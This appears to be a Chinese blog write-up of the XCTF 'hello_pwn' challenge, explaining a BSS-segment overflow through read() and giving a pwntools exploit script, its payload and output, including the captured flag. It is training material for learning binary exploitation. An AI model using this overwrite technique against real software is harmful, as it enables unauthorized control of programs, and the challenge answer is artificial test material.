hello_pwn [XCTF-PWN]CTF writeup系列4

28 篇文章 10 订阅

题目:hello_pwn

先看下题目

照例,检查一下保护情况,反编译程序

root@mypwn:/ctf/work/python# checksec c0a6dfb32cc7488a939d8c537530174d 
[*] '/ctf/work/python/c0a6dfb32cc7488a939d8c537530174d'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

 注意到汇编程序中最重要的两个函数,如下图:

把两个重要的函数,反编译成c语言代码:

__int64 sub_400686()
{
  system("cat flag.txt");
  return 0LL;
}

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  alarm(0x3Cu);
  setbuf(stdout, 0LL);
  puts("~~ welcome to ctf ~~     ");
  puts("lets get helloworld for bof");
  read(0, &unk_601068, 0x10uLL);
  if ( dword_60106C == 1853186401 )
    sub_400686(0LL, &unk_601068);
  return 0LL;
}

注意到两个重要的变量unk_601068和dword_60106C,正常来说linux程序中以60开头的变量命名都是bss段中的变量,我们可以直接用其地址,_前面的unk和dword代表的是数据类型,后面代表的是地址。

这个题目用read函数的bss段溢出,从unk_601068溢出覆盖dword_60106C,我们可以算出偏移值为60106C-601068=4

接下来我们就可以构造payload

payload = 'A'*4 + p64(1853186401)

前面的4个A会赋值到unk_601068,64位整数1853186401会赋值到dword_60106C,这样就可以达到条件

if ( dword_60106C == 1853186401 )

接着我们就可以构造本地执行的python脚本:

#!python
#!/usr/bin/env python
# coding=utf-8

from pwn import *

p = process('./c0a6dfb32cc7488a939d8c537530174d')
# p = remote("111.198.29.45", 57096)

payload = 'A'*4 + p64(1853186401)

p.sendlineafter('lets get helloworld for bof', payload)
p.interactive()

执行结果如下:

root@mypwn:/ctf/work/python# python hello_pwn.py 
[+] Starting local process './c0a6dfb32cc7488a939d8c537530174d': pid 118
[*] Switching to interactive mode

cat: flag.txt: No such file or directory
[*] Process './c0a6dfb32cc7488a939d8c537530174d' stopped with exit code 0 (pid 118)
[*] Got EOF while reading in interactive
$  

没有问题,执行成功,接下来调整python脚本之后,在服务器上执行:

root@mypwn:/ctf/work/python# python hello_pwn.py 
[+] Opening connection to 111.198.29.45 on port 57096: Done
[*] Switching to interactive mode

cyberpeace{c18106c5a9772565799b4626bf170be9}
[*] Got EOF while reading in interactive
$  

成功了,这个题目考的主要知识点是read函数造成的bss段溢出。

bss段溢出和栈溢出本质上来说都是一样的,只是溢出发生的位置不同而已。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值